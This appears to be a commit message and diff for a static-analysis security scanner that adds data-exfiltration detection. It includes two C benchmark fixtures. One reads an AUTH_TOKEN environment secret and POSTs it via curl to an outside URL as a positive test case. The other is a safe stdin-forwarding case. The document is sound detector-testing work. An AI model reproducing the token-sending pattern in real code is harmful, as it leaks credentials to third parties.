Added Cap::DATA_EXFIL and taint fp and fn fixes on real repos (#59)

* feat: Enhance data exfiltration detection with source sensitivity gating for cookies and headers

* feat: Implement cross-file data exfiltration detection with parameter-specific gate filters

* feat: Add calibration tests and refine DATA_EXFIL severity scoring logic

* feat: Introduce per-detector configuration for data exfiltration suppression

* feat: Enhance DATA_EXFIL findings with destination field tracking in diagnostics and SARIF output

* feat: Add tainted body and URL handling for data exfiltration detection

* feat: Add integration tests and fixtures for DATA_EXFIL and SSRF detection in Go

* feat: Add Java integration tests and fixtures for DATA_EXFIL detection across multiple HTTP clients

* feat: Add synthetic externals handling for closure-captured variables in SSA

* feat: Implement closure-based suppression for resource leak findings

* feat: Add regression guards for shell-injection and taint propagation in for-of destructure patterns

* feat: Implement constructor cap narrowing for data exfiltration detection in HTTP request builders

* feat: Add gated sinks for data exfiltration detection in C and C++ using curl_easy_setopt

* feat: Implement DATA_EXFIL cap parity for backwards analysis and add integration tests

* feat: Add data exfiltration sinks for various languages and enhance documentation

* refactor: Simplify formatting and improve readability in various files

* refactor: Improve readability by simplifying conditional statements and adding clippy linting

* docs: Update CHANGELOG and comments for data exfiltration features and configuration

* docs: Clarify configuration instructions for data exfiltration trusted destinations

* docs: Enhance comments for evidence routing logic in data exfiltration

tests/benchmark/corpus/c/data_exfil/exfil_curl_postfields_env.c

@@ -0,0 +1,17 @@
+// DATA_EXFIL: env-config (Sensitive source) flows into the gated
+// curl_easy_setopt sink at the CURLOPT_POSTFIELDS activation. The
+// destination URL is set by a separate CURLOPT_URL setopt above; only
+// the body-binding setopt fires DATA_EXFIL.
+#include <curl/curl.h>
+#include <stdlib.h>
+
+void leak_env(void) {
+    char *token = getenv("AUTH_TOKEN");
+    if (!token) return;
+
+    CURL *curl = curl_easy_init();
+    curl_easy_setopt(curl, CURLOPT_URL, "https://analytics.internal/track");
+    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, token);
+    curl_easy_perform(curl);
+    curl_easy_cleanup(curl);
+}

tests/benchmark/corpus/c/safe/safe_data_exfil_user_input_echo.c

@@ -0,0 +1,16 @@
+// DATA_EXFIL safe: plain user input via fgets/stdin forwarded into the
+// CURLOPT_POSTFIELDS body of a fixed-URL curl request must not fire.
+// Sensitivity-gate strips the cap for Plain-tier sources.
+#include <curl/curl.h>
+#include <stdio.h>
+
+void forward_stdin(void) {
+    char input[256];
+    if (!fgets(input, sizeof(input), stdin)) return;
+
+    CURL *curl = curl_easy_init();
+    curl_easy_setopt(curl, CURLOPT_URL, "https://telemetry.internal/forward");
+    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, input);
+    curl_easy_perform(curl);
+    curl_easy_cleanup(curl);
+}